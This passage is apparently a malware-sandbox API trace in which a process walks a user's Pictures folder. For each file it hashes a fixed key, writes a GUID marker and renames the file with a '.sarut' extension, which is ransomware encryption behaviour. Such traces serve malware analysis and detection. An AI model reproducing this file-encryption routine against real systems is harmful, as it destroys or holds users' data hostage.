halpmcxz\\pictures\\kqornoq\\haivhenlu6vmrra9qdsl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.443] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=82995) returned 1 [0271.443] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.446] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1440d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.446] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.447] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x14433, lpOverlapped=0x0) returned 1 [0271.448] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.448] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.448] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.448] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.449] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.449] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.449] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.450] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.450] GetLastError () returned 0x0 [0271.450] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.450] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.450] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14433, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.451] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.451] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.451] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.451] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.451] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.451] CloseHandle (hObject=0x5c4) returned 1 [0271.456] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.456] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0271.456] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\HAIVHenLu6VmrRA9qdSL.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\haivhenlu6vmrra9qdsl.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\HAIVHenLu6VmrRA9qdSL.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\haivhenlu6vmrra9qdsl.png.sarut")) returned 1 [0271.458] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc371eb70, ftCreationTime.dwHighDateTime=0x1d4d10d, ftLastAccessTime.dwLowDateTime=0x79c2ce10, ftLastAccessTime.dwHighDateTime=0x1d4cfe4, ftLastWriteTime.dwLowDateTime=0x79c2ce10, ftLastWriteTime.dwHighDateTime=0x1d4cfe4, nFileSizeHigh=0x0, nFileSizeLow=0x4554, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HsIk z MzQTD.gif", cAlternateFileName="HSIKZM~1.GIF")) returned 1 [0271.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.458] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\HsIk z MzQTD.gif") returned=".gif" [0271.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\HsIk z MzQTD.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\hsik z mzqtd.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.458] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=17748) returned 1 [0271.458] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.461] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x452e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.461] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.462] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x4554, lpOverlapped=0x0) returned 1 [0271.463] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.463] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.463] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.463] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.464] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.464] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.464] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.464] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.464] GetLastError () returned 0x0 [0271.465] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.465] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.465] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.465] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.465] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.465] CloseHandle (hObject=0x5c4) returned 1 [0271.468] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\HsIk z MzQTD.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\hsik z mzqtd.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\HsIk z MzQTD.gif.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\hsik z mzqtd.gif.sarut")) returned 1 [0271.470] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d491a80, ftCreationTime.dwHighDateTime=0x1d4d0c1, ftLastAccessTime.dwLowDateTime=0x23935f10, ftLastAccessTime.dwHighDateTime=0x1d4c895, ftLastWriteTime.dwLowDateTime=0x23935f10, ftLastWriteTime.dwHighDateTime=0x1d4c895, nFileSizeHigh=0x0, nFileSizeLow=0x1619a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qwgdm9P2yFX8.bmp", cAlternateFileName="QWGDM9~1.BMP")) returned 1 [0271.470] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\Qwgdm9P2yFX8.bmp") returned=".bmp" [0271.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\Qwgdm9P2yFX8.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\qwgdm9p2yfx8.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.470] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=90522) returned 1 [0271.470] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.473] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.473] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.474] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1619a, lpOverlapped=0x0) returned 1 [0271.475] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.475] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.475] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.475] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.476] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.476] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.476] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.476] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.476] GetLastError () returned 0x0 [0271.476] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.476] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.477] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1619a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.477] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.477] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.477] CloseHandle (hObject=0x5c4) returned 1 [0271.479] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\Qwgdm9P2yFX8.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\qwgdm9p2yfx8.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\Qwgdm9P2yFX8.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\qwgdm9p2yfx8.bmp.sarut")) returned 1 [0271.480] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39605920, ftCreationTime.dwHighDateTime=0x1d4d4e2, ftLastAccessTime.dwLowDateTime=0x7c4ed80, ftLastAccessTime.dwHighDateTime=0x1d4d18c, ftLastWriteTime.dwLowDateTime=0x7c4ed80, ftLastWriteTime.dwHighDateTime=0x1d4d18c, nFileSizeHigh=0x0, nFileSizeLow=0x16d76, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ROFZyVd380HDxuGO Th.jpg", cAlternateFileName="ROFZYV~1.JPG")) returned 1 [0271.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\ROFZyVd380HDxuGO Th.jpg") returned=".jpg" [0271.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\ROFZyVd380HDxuGO Th.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\rofzyvd380hdxugo th.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.483] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=93558) returned 1 [0271.483] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.486] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16d50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.486] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.487] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16d76, lpOverlapped=0x0) returned 1 [0271.494] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.494] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.494] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.494] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.495] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.495] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.495] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.495] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.495] GetLastError () returned 0x0 [0271.495] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.495] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.496] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16d76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.496] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.496] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.496] CloseHandle (hObject=0x5c4) returned 1 [0271.500] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\ROFZyVd380HDxuGO Th.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\rofzyvd380hdxugo th.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\ROFZyVd380HDxuGO Th.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\rofzyvd380hdxugo th.jpg.sarut")) returned 1 [0271.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb1d2d0, ftCreationTime.dwHighDateTime=0x1d4c5be, ftLastAccessTime.dwLowDateTime=0xe8178eb0, ftLastAccessTime.dwHighDateTime=0x1d4d58d, ftLastWriteTime.dwLowDateTime=0xe8178eb0, ftLastWriteTime.dwHighDateTime=0x1d4d58d, nFileSizeHigh=0x0, nFileSizeLow=0x10f08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wg6gkYjub7md9I.jpg", cAlternateFileName="WG6GKY~1.JPG")) returned 1 [0271.507] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\wg6gkYjub7md9I.jpg") returned=".jpg" [0271.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\wg6gkYjub7md9I.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\wg6gkyjub7md9i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.507] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=69384) returned 1 [0271.507] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.508] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10ee2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.509] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.510] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x10f08, lpOverlapped=0x0) returned 1 [0271.511] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.511] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.511] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.511] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.512] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.512] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.512] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.512] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.512] GetLastError () returned 0x0 [0271.512] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.512] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.513] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10f08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.513] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.513] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.513] CloseHandle (hObject=0x5c4) returned 1 [0271.514] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\wg6gkYjub7md9I.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\wg6gkyjub7md9i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\wg6gkYjub7md9I.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\wg6gkyjub7md9i.jpg.sarut")) returned 1 [0271.516] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9fea90, ftCreationTime.dwHighDateTime=0x1d4c878, ftLastAccessTime.dwLowDateTime=0x4190cd80, ftLastAccessTime.dwHighDateTime=0x1d4d5b6, ftLastWriteTime.dwLowDateTime=0x4190cd80, ftLastWriteTime.dwHighDateTime=0x1d4d5b6, nFileSizeHigh=0x0, nFileSizeLow=0xe9ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zZtwi8cLkIz2TYu9.gif", cAlternateFileName="ZZTWI8~1.GIF")) returned 1 [0271.516] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\zZtwi8cLkIz2TYu9.gif") returned=".gif" [0271.516] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\zZtwi8cLkIz2TYu9.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\zztwi8clkiz2tyu9.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.516] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=59882) returned 1 [0271.516] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.518] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.518] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.520] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xe9ea, lpOverlapped=0x0) returned 1 [0271.522] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.523] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.523] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.523] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.524] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.524] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.524] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: 